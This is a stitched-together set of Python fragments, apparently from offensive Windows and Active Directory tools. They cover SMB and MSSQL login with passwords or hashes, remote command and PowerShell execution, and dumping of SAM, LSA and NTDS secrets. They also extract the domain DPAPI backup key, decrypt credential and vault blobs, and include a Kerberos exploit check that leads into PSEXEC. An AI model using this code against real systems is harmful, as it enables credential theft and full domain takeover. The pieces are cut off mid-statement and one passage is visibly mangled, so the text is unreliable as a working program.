args.mssql and (instances is not None and len(instances) > 0): conn = tds.MSSQL(target, args.mssql_port, logger) conn.connect() elif not args.mssql: conn = SMBConnection(target, target, None, args.smb_port) if conn is None: return if args.domain: domain = args.domain connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver) if (connection.password is not None or connection.hash is not None) and connection.username is not None: if module is not None: module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername}) context = Context(db, module_logger, args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if hasattr(module, 'on_login'): module.on_login(context, connection) if hasattr(module, 'on_admin_login') and connection.admin_privs: module.on_admin_login(context, connection) else: if connection.admin_privs and (args.pscommand or args.command): get_output = True if args.no_output is False else False if args.mssql: args.exec_method = 'mssqlexec' if args.command: output = connection.execute(args.command, get_output=get_output, method=args.exec_method) if args.pscommand: output = connection.execute(create_ps_command(args.pscommand), get_output=get_output, method=args.exec_method) logger.success('Executed command via {}'.format(args.exec_method)) buf = StringIO(output).readlines() for line in buf: logger.highlight(line.strip()) if args.mssql and args.mssql_query: conn.sql_query(args.mssql_query) query_output = conn.printRows() logger.success('Executed MSSQL query') buf = StringIO(query_output).readlines() for line in buf: logger.highlight(line.strip()) elif not args.mssql: if connection.admin_privs and (args.sam or args.lsa or args.ntds): secrets_dump = DumpSecrets(connection, logger) if args.sam: secrets_dump.SAM_dump() if args.lsa: secrets_dump.LSA_dump() if args.ntds: secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history) if connection.admin_privs and args.wdigest: w_digest = WDIGEST(logger, connection.conn) if args.wdigest == 'enable': w_digest.enable() elif args.wdigest == 'disable': w_digest.disable() if connection.admin_privs and args.uac: UAC(connection.conn, logger).enum() if args.spider: spider = SMBSpider(logger, connection, args) spider.spider(args.spider, args.depth) spider.finish() if args.enum_shares: ShareEnum(connection.conn, logger).enum() if args.enum_lusers or args.enum_disks or args.enum_sessions: rpc_connection = RPCQUERY(connection, logger) if args.enum_lusers: rpc_connection.enum_lusers() if args.enum_sessions: rpc_connection.enum_sessions() if args.enum_disks: rpc_connection.enum_disks() if args.pass_pol: PassPolDump(logger, args.smb_port, connection).enum() if args.enum_users: SAMRDump(logger, args.smb_port, connection).enum() if connection.admin_privs and args.wmi_query: WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query) if args.rid_brute: LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force() except socket.error: return
def run(self): if self.options.action.upper() == 'MASTERKEY': fp = open(options.file, 'rb') data = fp.read() mkf = MasterKeyFile(data) mkf.dump() data = data[len(mkf):] if mkf['MasterKeyLen'] > 0: mk = MasterKey(data[:mkf['MasterKeyLen']]) data = data[len(mk):] if mkf['BackupKeyLen'] > 0: bkmk = MasterKey(data[:mkf['BackupKeyLen']]) data = data[len(bkmk):] if mkf['CredHistLen'] > 0: ch = CredHist(data[:mkf['CredHistLen']]) data = data[len(ch):] if mkf['DomainKeyLen'] > 0: dk = DomainKey(data[:mkf['DomainKeyLen']]) data = data[len(dk):] if self.options.system and self.options.security and self.options.sid is None: # We have hives, let's try to decrypt with them self.getLSA() decryptedKey = mk.decrypt(self.dpapiSystem['UserKey']) if decryptedKey: print('Decrypted key with UserKey') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = mk.decrypt(self.dpapiSystem['MachineKey']) if decryptedKey: print('Decrypted key with MachineKey') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = bkmk.decrypt(self.dpapiSystem['UserKey']) if decryptedKey: print('Decrypted Backup key with UserKey') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = bkmk.decrypt(self.dpapiSystem['MachineKey']) if decryptedKey: print('Decrypted Backup key with MachineKey') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return elif self.options.system and self.options.security: # Use SID + hash # We have hives, let's try to decrypt with them self.getLSA() key1, key2 = self.deriveKeysFromUserkey( self.options.sid, self.dpapiSystem['UserKey']) decryptedKey = mk.decrypt(key1) if decryptedKey: print('Decrypted key with UserKey + SID') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = bkmk.decrypt(key1) if decryptedKey: print('Decrypted Backup key with UserKey + SID') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = mk.decrypt(key2) if decryptedKey: print('Decrypted key with UserKey + SID') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = bkmk.decrypt(key2) if decryptedKey: print('Decrypted Backup key with UserKey + SID') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return elif self.options.key and self.options.sid: key = unhexlify(self.options.key[2:]) key1, key2 = self.deriveKeysFromUserkey(self.options.sid, key) decryptedKey = mk.decrypt(key1) if decryptedKey: print('Decrypted key with key provided + SID') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = mk.decrypt(key2) if decryptedKey: print('Decrypted key with key provided + SID') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return elif self.options.key: key = unhexlify(self.options.key[2:]) decryptedKey = mk.decrypt(key) if decryptedKey: print('Decrypted key with key provided') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return elif self.options.pvk and dk: pvkfile = open(self.options.pvk, 'rb').read() key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):]) private = privatekeyblob_to_pkcs1(key) cipher = PKCS1_v1_5.new(private) decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None) if decryptedKey: domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY( decryptedKey) key = domain_master_key[ 'buffer'][:domain_master_key['cbMasterKey']] print('Decrypted key with domain backup key provided') print('Decrypted key: 0x%s' % hexlify(key).decode('latin-1')) return elif self.options.sid and self.options.key is None: # Do we have a password? if self.options.password is None: # Nope let's ask it from getpass import getpass password = getpass("Password:"******"Password:"******"Password:"******"G$BCKUPKEY_PREFERRED", "G$BCKUPKEY_P"): buffer = crypto.decryptSecret( connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'], keyname)) guid = bin_to_string(buffer) name = "G$BCKUPKEY_{}".format(guid) secret = crypto.decryptSecret( connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'], name)) keyVersion = struct.unpack('<L', secret[:4])[0] if keyVersion == 1: # legacy key backup_key = P_BACKUP_KEY(secret) backupkey = backup_key['Data'] if self.options.export: logging.debug( "Exporting key to file {}".format(name + ".key")) open(name + ".key", 'wb').write(backupkey) else: print("Legacy key:") print("0x%s" % hexlify(backupkey).decode('latin-1')) print("\n") elif keyVersion == 2: # preferred key backup_key = PREFERRED_BACKUP_KEY(secret) pvk = backup_key['Data'][:backup_key['KeyLength']] cert = backup_key['Data'][ backup_key['KeyLength']:backup_key['KeyLength'] + backup_key['CertificateLength']] # build pvk header (PVK_MAGIC, PVK_FILE_VERSION_0, KeySpec, PVK_NO_ENCRYPT, 0, cbPvk) header = PVK_FILE_HDR() header['dwMagic'] = 0xb0b5f11e header['dwVersion'] = 0 header['dwKeySpec'] = 1 header['dwEncryptType'] = 0 header['cbEncryptData'] = 0 header['cbPvk'] = backup_key['KeyLength'] backupkey_pvk = header.getData() + pvk # pvk blob backupkey = backupkey_pvk if self.options.export: logging.debug( "Exporting certificate to file {}".format(name + ".der")) open(name + ".der", 'wb').write(cert) logging.debug( "Exporting private key to file {}".format(name + ".pvk")) open(name + ".pvk", 'wb').write(backupkey) else: print("Preferred key:") header.dump() print("PRIVATEKEYBLOB:{%s}" % (hexlify(backupkey).decode('latin-1'))) print("\n") return elif self.options.action.upper() == 'CREDENTIAL': fp = open(options.file, 'rb') data = fp.read() cred = CredentialFile(data) blob = DPAPI_BLOB(cred['Data']) if self.options.key is not None: key = unhexlify(self.options.key[2:]) decrypted = blob.decrypt(key) if decrypted is not None: creds = CREDENTIAL_BLOB(decrypted) creds.dump() return else: # Just print the data blob.dump() elif self.options.action.upper() == 'VAULT': if options.vcrd is None and options.vpol is None: print( 'You must specify either -vcrd or -vpol parameter. Type --help for more info' ) return if options.vcrd is not None: fp = open(options.vcrd, 'rb') data = fp.read() blob = VAULT_VCRD(data) if self.options.key is not None: key = unhexlify(self.options.key[2:]) cleartext = None for i, entry in enumerate(blob.attributesLen): if entry > 28: attribute = blob.attributes[i] if 'IV' in attribute.fields and len( attribute['IV']) == 16: cipher = AES.new(key, AES.MODE_CBC, iv=attribute['IV']) else: cipher = AES.new(key, AES.MODE_CBC) cleartext = cipher.decrypt(attribute['Data']) if cleartext is not None: # Lookup schema Friendly Name and print if we find one if blob['FriendlyName'].decode( 'utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS: # Found one. Cast it and print vault = VAULT_KNOWN_SCHEMAS[ blob['FriendlyName'].decode('utf-16le')[:-1]]( cleartext) vault.dump() else: # otherwise hexdump(cleartext) return else: blob.dump() elif options.vpol is not None: fp = open(options.vpol, 'rb') data = fp.read() vpol = VAULT_VPOL(data) vpol.dump() if self.options.key is not None: key = unhexlify(self.options.key[2:]) blob = vpol['Blob'] data = blob.decrypt(key) if data is not None: keys = VAULT_VPOL_KEYS(data) keys.dump() return print('Cannot decrypt (specify -key or -sid whenever applicable) ')
username="", password="", lmhash="", nthash="", domain=""): try: smb_session = SMBConnection(address, target_ip) smb_session.login(username, password, domain, lmhash, nthash) return smb_session except Exception as e: logging.error("Connection error") return False try: smb_session = SMBConnection(dc_ip, dc_ip) smb_session.login(username, password, domain, lmhash, nthash) except Exception as e: logging.error("SMB connection error", exc_info=True) sys.exit(1) try: gpo = GPO(smb_session) task_name = gpo.update_scheduled_task( domain=domain, gpo_id=options.gpo_id, name=options.taskname, mod_date=options.mod_date, description=options.description, powershell=options.powershell, command=options.command,
def __init__(self, args, db, host, module, chain_list, cmeserver, share_name): self.args = args self.db = db self.host = host self.module = module self.chain_list = chain_list self.cmeserver = cmeserver self.share_name = share_name self.conn = None self.hostname = None self.domain = None self.server_os = None self.logger = None self.password = None self.username = None self.hash = None self.admin_privs = False self.failed_logins = 0 try: smb = SMBConnection(self.host, self.host, None, self.args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.host = remote_ip self.domain = smb.getServerDomain() self.hostname = smb.getServerName() self.server_os = smb.getServerOS() if not self.domain: self.domain = self.hostname self.db.add_host(self.host, self.hostname, self.domain, self.server_os) self.logger = CMEAdapter(getLogger('CME'), { 'host': self.host, 'port': self.args.smb_port, 'hostname': u'{}'.format(self.hostname) }) self.logger.info(u"{} (name:{}) (domain:{})".format( self.server_os, self.hostname.decode('utf-8'), self.domain.decode('utf-8') )) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' smb.logoff() except: pass if self.args.mssql: instances = None self.logger.extra['port'] = self.args.mssql_port mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger) mssql.connect() instances = mssql.getInstances(10) if len(instances) > 0: self.logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): self.logger.highlight("Instance {}".format(i)) for key in instance.keys(): self.logger.highlight(key + ":" + instance[key]) try: mssql.disconnect() except: pass if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id: if self.args.mssql and (instances is not None and len(instances) > 0): self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger) self.conn.connect() elif not args.mssql: self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port) except socket.error: pass if self.conn: if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname self.login() if (self.password is not None or self.hash is not None) and self.username is not None: if self.module or self.chain_list: if self.chain_list: module = self.chain_list[0]['object'] module_logger = CMEAdapter(getLogger('CME'), { 'module': module.name.upper(), 'host': self.host, 'port': self.args.smb_port, 'hostname': self.hostname }) context = Context(self.db, module_logger, self.args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if self.module: launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command) payload = module.payload(context, None if not hasattr(module, 'command') else module.command) if hasattr(module, 'on_login'): module.on_login(context, self, launcher, payload) if self.admin_privs and hasattr(module, 'on_admin_login'): module.on_admin_login(context, self, launcher, payload) elif self.chain_list: module_list = self.chain_list[:] module_list.reverse() final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command) if len(module_list) > 2: for m in module_list: if m['object'] == module or m['object'] == module_list[0]['object']: continue final_launcher = m['object'].launcher(context, final_launcher) if module == module_list[0]['object']: final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command launcher = module.launcher(context, final_launcher) payload = module.payload(context, final_launcher) if hasattr(module, 'on_login'): module.on_login(context, self) if self.admin_privs and hasattr(module, 'on_admin_login'): module.on_admin_login(context, self, launcher, payload) elif self.module is None and self.chain_list is None: for k, v in vars(self.args).iteritems(): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: getattr(self, k)()
def __init__(self, SMBClient, command): # Thread.__init__(self) self.__SMBConnection = SMBConnection(existingConnection=SMBClient) self.__command = command self.__answerTMP = ''
def connect_transferClient(self): self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False)
# Success! logging.info('%s found vulnerable!' % dc) break else: logging.info('%s seems not vulnerable (%s)' % (dc, exception)) if exception is None: TGS = {} TGS['KDC_REP'] = tgsCIFS TGS['cipher'] = cipher TGS['oldSessionKey'] = oldSessionKeyCIFS TGS['sessionKey'] = sessionKeyCIFS from impacket.smbconnection import SMBConnection if self.__targetIp is None: s = SMBConnection('*SMBSERVER', self.__target) else: s = SMBConnection('*SMBSERVER', self.__targetIp) s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS, useCache=False) if self.__command != 'None': executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile) executer.run(self.__target) if __name__ == '__main__': # Init the example's logger theme logger.init() import argparse import sys try:
def connect(self): self.smb = SMBConnection(self.__destfile, self.__dstip, self.__srcfile, self.__dstport, self.__timeout)
def initConnection(self): self.session = SMBConnection(self.targetHost, self.targetHost, sess_port=self.targetPort, manualNegotiate=True) #,preferredDialect=SMB_DIALECT) if self.serverConfig.smb2support is True: data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' else: data = '\x02NT LM 0.12\x00' if self.extendedSecurity is True: flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES else: flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES try: packet = self.session.negotiateSessionWildcard( None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity, flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS, flags2=flags2, data=data) except socketerror as e: if 'reset by peer' in str(e): if not self.serverConfig.smb2support: LOG.error( 'SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support' ) else: LOG.error('SMBCLient error: Connection was reset') else: LOG.error('SMBCLient error: %s' % str(e)) return False if packet[0:1] == b'\xfe': preferredDialect = None # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21 if self.serverConfig.remove_target: preferredDialect = SMB2_DIALECT_21 smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity, nmbSession=self.session.getNMBServer(), negPacket=packet, preferredDialect=preferredDialect) else: # Answer is SMB packet, sticking to SMBv1 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity, nmbSession=self.session.getNMBServer(), negPacket=packet) self.session = SMBConnection(self.targetHost, self.targetHost, sess_port=self.targetPort, existingConnection=smbClient, manualNegotiate=True) return True